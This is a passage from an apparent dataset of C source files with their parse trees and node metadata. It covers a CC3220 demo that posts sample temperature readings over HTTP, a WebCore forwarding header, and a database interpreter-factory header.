159, 175, 180, 181, 182, 185, 189, 190, 197, 198, 199, 206, 207, 208, 239, 250, 254, 257, 261, 265, 266, 267, 268, 327, 334, 335, 339, 346, 350, 353, 356, 357, 360, 366, 370, 375, 376, 385, 389, 396, 398, 399, 402, 403, 407, 435, 444, 452, 453, 457, 461, 515, 516, 517, 521, 525, 526, 529, 536, 547, 548, 549, 553, 564, 568, 575, 576, 577, 581, 592, 599, 602, 605, 609, 617, 618, 621, 622, 623, 628, 637, 638, 642, 647, 691, 699, 708, 713, 727, 734, 740, 745, 752, 758, 764, 785, 788, 796, 808, 812, 822, 829, 833, 834, 840, 845, 851, 856, 861, 862, 864, 870, 874, 878], "assignments": [156, 172, 194, 246, 343, 359, 365, 374, 382, 441, 499, 502, 506, 510, 518, 542, 550, 561, 578, 589, 596, 646, 793, 819, 826], "loops": [245, 514, 801], "conditionals": [0, 1, 2, 23, 27, 31, 33, 37, 39, 67, 70, 74, 81, 91, 103, 109, 114, 119, 125, 129, 132, 133, 134, 136, 140, 143, 145, 147, 150, 154, 155, 157, 160, 162, 168, 171, 173, 176, 178, 179, 183, 186, 187, 191, 192, 195, 203, 209, 210, 212, 213, 215, 219, 225, 228, 231, 237, 244, 247, 251, 253, 255, 258, 262, 263, 264, 269, 280, 281, 282, 286, 295, 299, 303, 309, 312, 315, 316, 320, 321, 325, 328, 330, 331, 333, 336, 340, 344, 347, 349, 351, 354, 358, 361, 362, 364, 367, 368, 371, 373, 377, 378, 379, 381, 383, 386, 388, 393, 397, 400, 401, 404, 408, 412, 416, 420, 425, 428, 432, 436, 440, 442, 445, 447, 448, 449, 451, 454, 458, 462, 466, 468, 472, 476, 481, 484, 489, 492, 493, 496, 497, 498, 500, 503, 507, 511, 519, 522, 524, 527, 528, 530, 532, 537, 541, 543, 545, 546, 551, 554, 556, 557, 562, 565, 567, 569, 573, 574, 579, 582, 584, 585, 590, 593, 595, 597, 600, 603, 606, 608, 610, 614, 615, 616, 619, 624, 626, 629, 631, 633, 636, 639, 643, 648, 649, 656, 660, 666, 669, 674, 677, 682, 685, 689, 692, 694, 698, 700, 702, 706, 707, 709, 711, 712, 714, 716, 728, 730, 735, 737, 739, 741, 743, 744, 746, 748, 753, 755, 757, 759, 761, 762, 765, 767, 771, 775, 781, 784, 786, 789, 794, 797, 799, 800, 805, 809, 813, 817, 818, 820, 825, 827, 830, 832, 835, 836, 837, 839, 841, 846, 848, 849, 850, 852, 857, 859, 860, 863, 865, 869, 871, 875, 877, 879], "returns": [214, 411, 467, 655, 763, 883], "exceptions": []}, "expressions": {"calls": [], "literals": [5, 8, 11, 14, 17, 20, 45, 48, 51, 54, 57, 60, 63, 66, 83, 93, 105, 110, 115, 131, 193, 211, 249, 260, 271, 273, 275, 277, 279, 332, 338, 342, 355, 406, 410, 434, 438, 450, 456, 460, 464, 505, 509, 513, 533, 535, 539, 571, 612, 641, 645, 651, 690, 695, 703, 717, 718, 721, 724, 731, 738, 749, 756, 791, 807, 811, 823, 838, 843, 854, 867, 873, 881, 884], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 29, "universal_type": "function", "name": "unknown", "text_snippet": "#define perror(str) printk(\"perror %s+%d: %s\", __FILE__, __LINE__, str)\n"}, {"node_id": 35, "universal_type": "function", "name": "unknown", "text_snippet": "#define sleep(s) k_sleep((s) * 1000)\n"}, {"node_id": 116, "universal_type": "function", "name": "hostent", "text_snippet": "uint32_t resolve_host_addr(const char *host)\n{\n\tuint32_t dest = 0;\n#ifdef CONFIG_HAS_CC3220SDK\n\tsl_N"}, {"node_id": 118, "universal_type": "function", "name": "unknown", "text_snippet": "resolve_host_addr(const char *host)"}, {"node_id": 216, "universal_type": "function", "name": "hexdump", "text_snippet": "void hexdump(void* ptr, int size) {\n\tint i;\n\tconst char* c = (char*) ptr;\n\tfor (i = 0; i < size; i++"}, {"node_id": 218, "universal_type": "function", "name": "size)", "text_snippet": "hexdump(void* ptr, int size)"}, {"node_id": 285, "universal_type": "function", "name": "unknown", "text_snippet": "wlan_init(void)"}, {"node_id": 292, "universal_type": "function", "name": "wlan_init", "text_snippet": "void wlan_init(void) {}"}, {"node_id": 294, "universal_type": "function", "name": "unknown", "text_snippet": "wlan_init(void)"}, {"node_id": 300, "universal_type": "function", "name": "connect_to_server", "text_snippet": "int connect_to_server(const char* name, uint16_t port)\n{\n int ret, host;\n struct sockaddr_in s"}, {"node_id": 302, "universal_type": "function", "name": "unknown", "text_snippet": "connect_to_server(const char* name, uint16_t port)"}, {"node_id": 413, "universal_type": "function", "name": "send_request", "text_snippet": "int send_request(int sock, const char* request, int reqlen)\n{\n\tint ret = 0;\n\tprintf(\"send request %d"}, {"node_id": 415, "universal_type": "function", "name": "reqlen)", "text_snippet": "send_request(int sock, const char* request, int reqlen)"}, {"node_id": 469, "universal_type": "function", "name": "recv_response", "text_snippet": "int recv_response(int sock, char* buffer, int buflen)\n{\n\tchar *p;\n\tint EOH, CL;\n\tint ret, count, con"}, {"node_id": 471, "universal_type": "function", "name": "buflen)", "text_snippet": "recv_response(int sock, char* buffer, int buflen)"}, {"node_id": 657, "universal_type": "function", "name": "prepare_request", "text_snippet": "int prepare_request(char* buffer, int buflen, const char* host, int port, const char* path, int temp"}, {"node_id": 659, "universal_type": "function", "name": "buflen,", "text_snippet": "prepare_request(char* buffer, int buflen, const char* host, int port, const char* path, int temp)"}, {"node_id": 768, "universal_type": "function", "name": "main", "text_snippet": "int main(int argc, char *argv[])\n{\n\tint sock;\n\n\twlan_init();\n\n\tprintf(\"connect to server...\\n\");\n\tso"}, {"node_id": 770, "universal_type": "function", "name": "unknown", "text_snippet": "main(int argc, char *argv[])"}], "class_declarations": [{"node_id": 166, "universal_type": "class", "name": "hostent", "text_snippet": "struct hostent"}, {"node_id": 167, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 201, "universal_type": "class", "name": "in_addr", "text_snippet": "struct in_addr"}, {"node_id": 202, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 318, "universal_type": "class", "name": "sockaddr_in", "text_snippet": "struct sockaddr_in"}, {"node_id": 319, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}, {"node_id": 391, "universal_type": "class", "name": "sockaddr", "text_snippet": "struct sockaddr"}, {"node_id": 392, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}], "import_statements": [{"node_id": 3, "text": "#include <kernel.h>\n"}, {"node_id": 4, "text": "#include"}, {"node_id": 6, "text": "#include <misc/printk.h>\n"}, {"node_id": 7, "text": "#include"}, {"node_id": 9, "text": "#include <ti/drivers/net/wifi/simplelink.h>\n"}, {"node_id": 10, "text": "#include"}, {"node_id": 12, "text": "#include <ti/drivers/net/wifi/bsd/sys/socket.h>\n"}, {"node_id": 13, "text": "#include"}, {"node_id": 15, "text": "#include <ti/drivers/net/wifi/bsd/netinet/in.h>\n"}, {"node_id": 16, "text": "#include"}, {"node_id": 18, "text": "#include <ti/drivers/net/wifi/bsd/arpa/inet.h>\n"}, {"node_id": 19, "text": "#include"}, {"node_id": 43, "text": "#include <arpa/inet.h>\n"}, {"node_id": 44, "text": "#include"}, {"node_id": 46, "text": "#include <netdb.h>\n"}, {"node_id": 47, "text": "#include"}, {"node_id": 49, "text": "#include <netinet/in.h>\n"}, {"node_id": 50, "text": "#include"}, {"node_id": 52, "text": "#include <sys/socket.h>\n"}, {"node_id": 53, "text": "#include"}, {"node_id": 55, "text": "#include <unistd.h>\n"}, {"node_id": 56, "text": "#include"}, {"node_id": 58, "text": "#include <math.h>\n"}, {"node_id": 59, "text": "#include"}, {"node_id": 61, "text": "#include <stdio.h>\n"}, {"node_id": 62, "text": "#include"}, {"node_id": 64, "text": "#include <string.h>\n"}, {"node_id": 65, "text": "#include"}]}, "original_source_code": "#ifdef CONFIG_HAS_CC3220SDK\n#include <kernel.h>\n#include <misc/printk.h>\n#include <ti/drivers/net/wifi/simplelink.h>\n#include <ti/drivers/net/wifi/bsd/sys/socket.h>\n#include <ti/drivers/net/wifi/bsd/netinet/in.h>\n#include <ti/drivers/net/wifi/bsd/arpa/inet.h>\n#define printf printk\n#define UART_PRINT printk\n#define perror(str) printk(\"perror %s+%d: %s\", __FILE__, __LINE__, str)\n#define sleep(s) k_sleep((s) * 1000)\n#else // CONFIG_HAS_CC3220SDK\n\n#include <arpa/inet.h>\n#include <netdb.h>\n#include <netinet/in.h>\n#include <sys/socket.h>\n#include <unistd.h>\n\n#include <math.h>\n#include <stdio.h>\n#include <string.h>\n\n#endif // CONFIG_HAS_CC3220SDK\n\n#define HOST \"emdroid.org\"\n#define PORT 8080\n\nconst char* CRLF = \"\\r\\n\";\nconst char* HTTP_EOH = \"\\r\\n\\r\\n\"; // End of Header\nconst char* CONTENT_LENGTH = \"Content-Length:\";\nchar RESPONSE[4096];\nchar REQUEST[4096];\n\nuint32_t resolve_host_addr(const char *host)\n{\n\tuint32_t dest = 0;\n#ifdef CONFIG_HAS_CC3220SDK\n\tsl_NetAppDnsGetHostByName((_i8 *)host, strlen(host), (_u32 *)&dest,\n\t\t\t\t SL_AF_INET);\n\tdest = sl_Htonl(dest);\n#else // CONFIG_HAS_CC3220SDK\n\tstruct hostent *he;\n\n\the = gethostbyname(host);\n\tif (he && he->h_addr_list && he->h_addr_list[0]) {\n\t\tdest = ((struct in_addr *)(he->h_addr_list[0]))->s_addr;\n\t}\n#endif // CONFIG_HAS_CC3220SDK\n\treturn dest;\n}\n\n\nvoid hexdump(void* ptr, int size) {\n\tint i;\n\tconst char* c = (char*) ptr;\n\tfor (i = 0; i < size; i++) {\n\t\tprintf(\"%02X%s\", c[i], (i+1) % 8 == 0 ? \"\\n\" : \" \");\n\t}\n}\n\n\n#ifdef CONFIG_HAS_CC3220SDK\nvoid wlan_init(void);\n#else // CONFIG_HAS_CC3220SDK\nvoid wlan_init(void) {}\n#endif // CONFIG_HAS_CC3220SDK\n\nint connect_to_server(const char* name, uint16_t port)\n{\n int ret, host;\n struct sockaddr_in server_addr;\n\n int fd = socket(AF_INET, SOCK_STREAM, 0);\n if (fd < 0) {\n perror(\"socket\");\n }\n\n host = resolve_host_addr(name);\n\n memset(&server_addr, 0, sizeof(server_addr));\n server_addr.sin_family = AF_INET;\n server_addr.sin_port = htons(port);\n server_addr.sin_addr.s_addr = host;\n\n ret = connect(fd, (const struct sockaddr*)&server_addr,\n sizeof(server_addr));\n if (ret < 0) {\n perror(\"connect\");\n }\n return fd;\n}\n\nint send_request(int sock, const char* request, int reqlen)\n{\n\tint ret = 0;\n\tprintf(\"send request %d...\\n\", reqlen);\n\tret = send(sock, request, reqlen, 0);\n\tif (ret < 0) {\n\t\tperror(\"send\");\n\t}\n\tprintf(\"%d bytes sent\\n\", ret);\n\treturn ret;\n}\n\nint recv_response(int sock, char* buffer, int buflen)\n{\n\tchar *p;\n\tint EOH, CL;\n\tint ret, count, content_length;\n\n\tCL = EOH = 0;\n\tcount = 0;\n\tcontent_length = 0;\n\twhile ((ret = recv(sock, &buffer[count], buflen - count, 0)) > 0) {\n\t\tprintf(\"received %d bytes...\\n\", ret);\n\t\t//hexdump(&buffer[count], ret);\n\t\tcount += ret;\n\t\tif ((p = strstr(buffer, HTTP_EOH)) != NULL) {\n\t\t\tEOH = p - buffer;\n\t\t\tprintf(\"EOH at %d\\n\", EOH);\n\t\t}\n\t\tif ((p = strstr(buffer, CONTENT_LENGTH)) != NULL) {\n\t\t\tCL = p - buffer;\n\t\t\tcontent_length = atoi(p + strlen(CONTENT_LENGTH));\n\t\t\tprintf(\"CL at %d, value: %d\\n\", CL, content_length);\n\t\t}\n\t\tif (CL && count - EOH - strlen(HTTP_EOH) >= content_length) {\n\t\t\tbreak;\n\t\t}\n\t}\n\tif (ret < 0) {\n\t\tperror(\"recv\");\n\t}\n\tbuffer[count] = '\\0';\n\treturn count;\n}\n\nint prepare_request(char* buffer, int buflen, const char* host, int port, const char* path, int temp)\n{\n\tchar line[128];\n\n\tsprintf(buffer, \"POST %s HTTP/1.1\\r\\n\", path);\n\tsprintf(line, \"Host: %s:%d\\r\\n\", host, port);\n\tstrcat(buffer, line);\n\tstrcat(buffer, \"User-Agent: CC3220\\r\\n\"\n\t\t\t\t\t\"Accept: */*\\r\\n\"\n\t \"Content-Type: application/x-www-form-urlencoded\\r\\n\");\n\tsprintf(line, \"Content-Length: %d\\r\\n\", sprintf(line, \"temp=%d\", temp));\n\tstrcat(buffer, line);\n\tstrcat(buffer, \"\\r\\n\");\n\tsprintf(line, \"temp=%d\", temp);\n\tstrcat(buffer, line);\n\n\treturn strlen(buffer);\n}\n\nint main(int argc, char *argv[])\n{\n\tint sock;\n\n\twlan_init();\n\n\tprintf(\"connect to server...\\n\");\n\tsock = connect_to_server(HOST, PORT);\n\n\tfor (int i = 0; i < 10; i++) {\n\t\tint reqlen, temperature;\n\n\t\ttemperature = 15 + i; // 20 + 5*sin(M_PI*2/10*i);\n\n\t\treqlen = prepare_request(REQUEST, sizeof(REQUEST), HOST, PORT, \"/temp\", temperature);\n\n\t\tprintf(\"send request...\\n\");\n\t\tsend_request(sock, REQUEST, reqlen);\n\n\t\tprintf(\"recv response...\\n\");\n\t\trecv_response(sock, RESPONSE, sizeof(RESPONSE));\n\t\tprintf(\"RESPONSE: %s\\n\", RESPONSE);\n\n\t\tsleep(1);\n\t}\n\n\tclose(sock);\n\n\tprintf(\"done\\n\");\n\n\treturn 0;\n}\n\n\n"}
81,176
c
#ifndef WebCore_FWD_WTFString_h #define WebCore_FWD_WTFString_h #include <JavaScriptCore/WTFString.h> #endif
26.25
4
(translation_unit) "#ifndef WebCore_FWD_WTFString_h\n#define WebCore_FWD_WTFString_h\n#include <JavaScriptCore/WTFString.h>\n#endif\n" (preproc_ifdef) "#ifndef WebCore_FWD_WTFString_h\n#define WebCore_FWD_WTFString_h\n#include <JavaScriptCore/WTFString.h>\n#endif" (#ifndef) "#ifndef" (identifier) "WebCore_FWD_WTFString_h" (preproc_def) "#define WebCore_FWD_WTFString_h\n" (#define) "#define" (identifier) "WebCore_FWD_WTFString_h" (preproc_include) "#include <JavaScriptCore/WTFString.h>\n" (#include) "#include" (system_lib_string) "<JavaScriptCore/WTFString.h>" (#endif) "#endif"
11
0
{"language": "c", "success": true, "metadata": {"lines": 4, "avg_line_length": 26.25, "nodes": 10, "errors": 0, "source_hash": "553e69878dd6d29ce9a4f28896793ade05d5760e362e40603a7702d4c7b729c4", "categorized_nodes": 8}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_ifdef", "text": "#ifndef WebCore_FWD_WTFString_h\n#define WebCore_FWD_WTFString_h\n#include <JavaScriptCore/WTFString.h>\n#endif", "parent": null, "children": [1, 2, 3, 6, 9], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 3, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 7}}, {"id": 2, "type": "identifier", "text": "WebCore_FWD_WTFString_h", "parent": 0, "children": [], "start_point": {"row": 0, "column": 8}, "end_point": {"row": 0, "column": 31}}, {"id": 3, "type": "preproc_def", "text": "#define WebCore_FWD_WTFString_h\n", "parent": 0, "children": [4, 5], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 2, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 1, "column": 7}}, {"id": 5, "type": "identifier", "text": "WebCore_FWD_WTFString_h", "parent": 3, "children": [], "start_point": {"row": 1, "column": 8}, "end_point": {"row": 1, "column": 31}}, {"id": 6, "type": "preproc_include", "text": "#include <JavaScriptCore/WTFString.h>\n", "parent": 0, "children": [7, 8], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 3, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 2, "column": 8}}, {"id": 8, "type": "system_lib_string", "text": "<JavaScriptCore/WTFString.h>", "parent": 6, "children": [], "start_point": {"row": 2, "column": 9}, "end_point": {"row": 2, "column": 37}}, {"id": 9, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 6}}]}, "node_categories": {"declarations": {"functions": [], "variables": [], "classes": [], "imports": [6, 7], "modules": [], "enums": []}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [0, 1, 2, 5, 9], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [8], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [], "class_declarations": [], "import_statements": [{"node_id": 6, "text": "#include <JavaScriptCore/WTFString.h>\n"}, {"node_id": 7, "text": "#include"}]}, "original_source_code": "#ifndef WebCore_FWD_WTFString_h\n#define WebCore_FWD_WTFString_h\n#include <JavaScriptCore/WTFString.h>\n#endif\n"}
81,177
c
#pragma once #include <DB/Interpreters/Context.h> #include <DB/Interpreters/IInterpreter.h> namespace DB { class InterpreterFactory { public: static std::unique_ptr<IInterpreter> get( ASTPtr & query, Context & context, QueryProcessingStage::Enum stage = QueryProcessingStage::Complete); }; }
19
15
(translation_unit) "#pragma once\n\n#include <DB/Interpreters/Context.h>\n#include <DB/Interpreters/IInterpreter.h>\n\n\nnamespace DB\n{\n\nclass InterpreterFactory\n{\npublic:\n static std::unique_ptr<IInterpreter> get(\n ASTPtr & query,\n Context & context,\n QueryProcessingStage::Enum stage = QueryProcessingStage::Complete);\n};\n\n}\n" (preproc_call) "#pragma once\n" (preproc_directive) "#pragma" (preproc_arg) "once" (preproc_include) "#include <DB/Interpreters/Context.h>\n" (#include) "#include" (system_lib_string) "<DB/Interpreters/Context.h>" (preproc_include) "#include <DB/Interpreters/IInterpreter.h>\n" (#include) "#include" (system_lib_string) "<DB/Interpreters/IInterpreter.h>" (function_definition) "namespace DB\n{\n\nclass InterpreterFactory\n{\npublic:\n static std::unique_ptr<IInterpreter> get(\n ASTPtr & query,\n Context & context,\n QueryProcessingStage::Enum stage = QueryProcessingStage::Complete);\n};\n\n}" (type_identifier) "namespace" (identifier) "DB" (compound_statement) "{\n\nclass InterpreterFactory\n{\npublic:\n static std::unique_ptr<IInterpreter> get(\n ASTPtr & query,\n Context & context,\n QueryProcessingStage::Enum stage = QueryProcessingStage::Complete);\n};\n\n}" ({) "{" (function_definition) "class InterpreterFactory\n{\npublic:\n static std::unique_ptr<IInterpreter> get(\n ASTPtr & query,\n Context & context,\n QueryProcessingStage::Enum stage = QueryProcessingStage::Complete);\n}" (type_identifier) "class" (identifier) "InterpreterFactory" (compound_statement) "{\npublic:\n static std::unique_ptr<IInterpreter> get(\n ASTPtr & query,\n Context & context,\n QueryProcessingStage::Enum stage = QueryProcessingStage::Complete);\n}" ({) "{" (labeled_statement) "public:\n static std::unique_ptr<IInterpreter> get(\n ASTPtr & query,\n Context & context,\n QueryProcessingStage::Enum stage = QueryProcessingStage::Complete);" (statement_identifier) "public" (ERROR) ":\n static std:" (:) ":" (storage_class_specifier) "static" (static) "static" (type_identifier) "std" (:) ":" (:) ":" (expression_statement) "unique_ptr<IInterpreter> get(\n ASTPtr & query,\n Context & context,\n QueryProcessingStage::Enum stage = QueryProcessingStage::Complete);" (binary_expression) "unique_ptr<IInterpreter> get(\n ASTPtr & query,\n Context & context,\n QueryProcessingStage::Enum stage = QueryProcessingStage::Complete)" (binary_expression) "unique_ptr<IInterpreter" (identifier) "unique_ptr" (<) "<" (identifier) "IInterpreter" (>) ">" (call_expression) "get(\n ASTPtr & query,\n Context & context,\n QueryProcessingStage::Enum stage = QueryProcessingStage::Complete)" (identifier) "get" (argument_list) "(\n ASTPtr & query,\n Context & context,\n QueryProcessingStage::Enum stage = QueryProcessingStage::Complete)" (() "(" (binary_expression) "ASTPtr & query" (identifier) "ASTPtr" (&) "&" (identifier) "query" (,) "," (binary_expression) "Context & context" (identifier) "Context" (&) "&" (identifier) "context" (,) "," (ERROR) "QueryProcessingStage::Enum stage = QueryProcessingStage::" (identifier) "QueryProcessingStage" (:) ":" (:) ":" (identifier) "Enum" (assignment_expression) "stage = QueryProcessingStage" (identifier) "stage" (=) "=" (identifier) "QueryProcessingStage" (:) ":" (:) ":" (identifier) "Complete" ()) ")" (;) ";" (}) "}" (expression_statement) ";" (;) ";" (}) "}"
68
2
{"language": "c", "success": true, "metadata": {"lines": 15, "avg_line_length": 19.0, "nodes": 40, "errors": 0, "source_hash": "d3ad9a2d942d5088b6ad57aee1c5e65bb7f5010dad92011a89645afcaea95899", "categorized_nodes": 31}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "#pragma once\n", "parent": null, "children": [1, 2], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 1, "column": 0}}, {"id": 1, "type": "preproc_directive", "text": "#pragma", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 7}}, {"id": 2, "type": "preproc_arg", "text": "once", "parent": 0, "children": [], "start_point": {"row": 0, "column": 8}, "end_point": {"row": 0, "column": 12}}, {"id": 3, "type": "preproc_include", "text": "#include <DB/Interpreters/Context.h>\n", "parent": null, "children": [4, 5], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 3, "column": 0}}, {"id": 4, "type": "#include", "text": "#include", "parent": 3, "children": [], "start_point": {"row": 2, "column": 0}, "end_point": {"row": 2, "column": 8}}, {"id": 5, "type": "system_lib_string", "text": "<DB/Interpreters/Context.h>", "parent": 3, "children": [], "start_point": {"row": 2, "column": 9}, "end_point": {"row": 2, "column": 36}}, {"id": 6, "type": "preproc_include", "text": "#include <DB/Interpreters/IInterpreter.h>\n", "parent": null, "children": [7, 8], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 4, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 8}}, {"id": 8, "type": "system_lib_string", "text": "<DB/Interpreters/IInterpreter.h>", "parent": 6, "children": [], "start_point": {"row": 3, "column": 9}, "end_point": {"row": 3, "column": 41}}, {"id": 9, "type": "function_definition", "text": "namespace DB\n{\n\nclass InterpreterFactory\n{\npublic:\n\tstatic std::unique_ptr<IInterpreter> get(\n\t\tASTPtr & query,\n\t\tContext & context,\n\t\tQueryProcessingStage::Enum stage = QueryProcessingStage::Complete);\n};\n\n}", "parent": null, "children": [10, 11], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 18, "column": 1}}, {"id": 10, "type": "type_identifier", "text": "namespace", "parent": 9, "children": [], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 6, "column": 9}}, {"id": 11, "type": "identifier", "text": "DB", "parent": 9, "children": [], "start_point": {"row": 6, "column": 10}, "end_point": {"row": 6, "column": 12}}, {"id": 12, "type": "function_definition", "text": "class InterpreterFactory\n{\npublic:\n\tstatic std::unique_ptr<IInterpreter> get(\n\t\tASTPtr & query,\n\t\tContext & context,\n\t\tQueryProcessingStage::Enum stage = QueryProcessingStage::Complete);\n}", "parent": 9, "children": [13], "start_point": {"row": 9, "column": 0}, "end_point": {"row": 16, "column": 1}}, {"id": 13, "type": "identifier", "text": "InterpreterFactory", "parent": 12, "children": [], "start_point": {"row": 9, "column": 6}, "end_point": {"row": 9, "column": 24}}, {"id": 14, "type": "labeled_statement", "text": "public:\n\tstatic std::unique_ptr<IInterpreter> get(\n\t\tASTPtr & query,\n\t\tContext & context,\n\t\tQueryProcessingStage::Enum stage = QueryProcessingStage::Complete);", "parent": 12, "children": [15], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 15, "column": 69}}, {"id": 15, "type": "ERROR", "text": ":\n\tstatic std:", "parent": 14, "children": [16], "start_point": {"row": 11, "column": 6}, "end_point": {"row": 12, "column": 12}}, {"id": 16, "type": "type_identifier", "text": "std", "parent": 15, "children": [], "start_point": {"row": 12, "column": 8}, "end_point": {"row": 12, "column": 11}}, {"id": 17, "type": "binary_expression", "text": "unique_ptr<IInterpreter> get(\n\t\tASTPtr & query,\n\t\tContext & context,\n\t\tQueryProcessingStage::Enum stage = QueryProcessingStage::Complete)", "parent": 14, "children": [18, 22, 23], "start_point": {"row": 12, "column": 13}, "end_point": {"row": 15, "column": 68}}, {"id": 18, "type": "binary_expression", "text": "unique_ptr<IInterpreter", "parent": 17, "children": [19, 20, 21], "start_point": {"row": 12, "column": 13}, "end_point": {"row": 12, "column": 36}}, {"id": 19, "type": "identifier", "text": "unique_ptr", "parent": 18, "children": [], "start_point": {"row": 12, "column": 13}, "end_point": {"row": 12, "column": 23}}, {"id": 20, "type": "<", "text": "<", "parent": 18, "children": [], "start_point": {"row": 12, "column": 23}, "end_point": {"row": 12, "column": 24}}, {"id": 21, "type": "identifier", "text": "IInterpreter", "parent": 18, "children": [], "start_point": {"row": 12, "column": 24}, "end_point": {"row": 12, "column": 36}}, {"id": 22, "type": ">", "text": ">", "parent": 17, "children": [], "start_point": {"row": 12, "column": 36}, "end_point": {"row": 12, "column": 37}}, {"id": 23, "type": "call_expression", "text": "get(\n\t\tASTPtr & query,\n\t\tContext & context,\n\t\tQueryProcessingStage::Enum stage = QueryProcessingStage::Complete)", "parent": 17, "children": [24, 25], "start_point": {"row": 12, "column": 38}, "end_point": {"row": 15, "column": 68}}, {"id": 24, "type": "identifier", "text": "get", "parent": 23, "children": [], "start_point": {"row": 12, "column": 38}, "end_point": {"row": 12, "column": 41}}, {"id": 25, "type": "argument_list", "text": "(\n\t\tASTPtr & query,\n\t\tContext & context,\n\t\tQueryProcessingStage::Enum stage = QueryProcessingStage::Complete)", "parent": 23, "children": [26, 29, 32, 39], "start_point": {"row": 12, "column": 41}, "end_point": {"row": 15, "column": 68}}, {"id": 26, "type": "binary_expression", "text": "ASTPtr & query", "parent": 25, "children": [27, 28], "start_point": {"row": 13, "column": 2}, "end_point": {"row": 13, "column": 16}}, {"id": 27, "type": "identifier", "text": "ASTPtr", "parent": 26, "children": [], "start_point": {"row": 13, "column": 2}, "end_point": {"row": 13, "column": 8}}, {"id": 28, "type": "identifier", "text": "query", "parent": 26, "children": [], "start_point": {"row": 13, "column": 11}, "end_point": {"row": 13, "column": 16}}, {"id": 29, "type": "binary_expression", "text": "Context & context", "parent": 25, "children": [30, 31], "start_point": {"row": 14, "column": 2}, "end_point": {"row": 14, "column": 19}}, {"id": 30, "type": "identifier", "text": "Context", "parent": 29, "children": [], "start_point": {"row": 14, "column": 2}, "end_point": {"row": 14, "column": 9}}, {"id": 31, "type": "identifier", "text": "context", "parent": 29, "children": [], "start_point": {"row": 14, "column": 12}, "end_point": {"row": 14, "column": 19}}, {"id": 32, "type": "ERROR", "text": "QueryProcessingStage::Enum stage = QueryProcessingStage::", "parent": 25, "children": [33, 34, 35], "start_point": {"row": 15, "column": 2}, "end_point": {"row": 15, "column": 59}}, {"id": 33, "type": "identifier", "text": "QueryProcessingStage", "parent": 32, "children": [], "start_point": {"row": 15, "column": 2}, "end_point": {"row": 15, "column": 22}}, {"id": 34, "type": "identifier", "text": "Enum", "parent": 32, "children": [], "start_point": {"row": 15, "column": 24}, "end_point": {"row": 15, "column": 28}}, {"id": 35, "type": "assignment_expression", "text": "stage = QueryProcessingStage", "parent": 32, "children": [36, 37, 38], "start_point": {"row": 15, "column": 29}, "end_point": {"row": 15, "column": 57}}, {"id": 36, "type": "identifier", "text": "stage", "parent": 35, "children": [], "start_point": {"row": 15, "column": 29}, "end_point": {"row": 15, "column": 34}}, {"id": 37, "type": "=", "text": "=", "parent": 35, "children": [], "start_point": {"row": 15, "column": 35}, "end_point": {"row": 15, "column": 36}}, {"id": 38, "type": "identifier", "text": "QueryProcessingStage", "parent": 35, "children": [], "start_point": {"row": 15, "column": 37}, "end_point": {"row": 15, "column": 57}}, {"id": 39, "type": "identifier", "text": "Complete", "parent": 25, "children": [], "start_point": {"row": 15, "column": 59}, "end_point": {"row": 15, "column": 67}}]}, "node_categories": {"declarations": {"functions": [9, 12], "variables": [], "classes": [], "imports": [3, 4, 6, 7], "modules": [], "enums": []}, "statements": {"expressions": [17, 18, 23, 26, 29], "assignments": [35], "loops": [], "conditionals": [10, 11, 13, 16, 19, 21, 24, 27, 28, 30, 31, 33, 34, 36, 38, 39], "returns": [], "exceptions": []}, "expressions": {"calls": [0], "literals": [5, 8], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 9, "universal_type": "function", "name": "InterpreterFactory", "text_snippet": "namespace DB\n{\n\nclass InterpreterFactory\n{\npublic:\n\tstatic std::unique_ptr<IInterpreter> get(\n\t\tASTP"}, {"node_id": 12, "universal_type": "function", "name": "InterpreterFactory", "text_snippet": "class InterpreterFactory\n{\npublic:\n\tstatic std::unique_ptr<IInterpreter> get(\n\t\tASTPtr & query,\n\t\tCo"}], "class_declarations": [], "import_statements": [{"node_id": 3, "text": "#include <DB/Interpreters/Context.h>\n"}, {"node_id": 4, "text": "#include"}, {"node_id": 6, "text": "#include <DB/Interpreters/IInterpreter.h>\n"}, {"node_id": 7, "text": "#include"}]}, "original_source_code": "#pragma once\n\n#include <DB/Interpreters/Context.h>\n#include <DB/Interpreters/IInterpreter.h>\n\n\nnamespace DB\n{\n\nclass InterpreterFactory\n{\npublic:\n\tstatic std::unique_ptr<IInterpreter> get(\n\t\tASTPtr & query,\n\t\tContext & context,\n\t\tQueryProcessingStage::Enum stage = QueryProcessingStage::Complete);\n};\n\n}\n"}
81,178
c
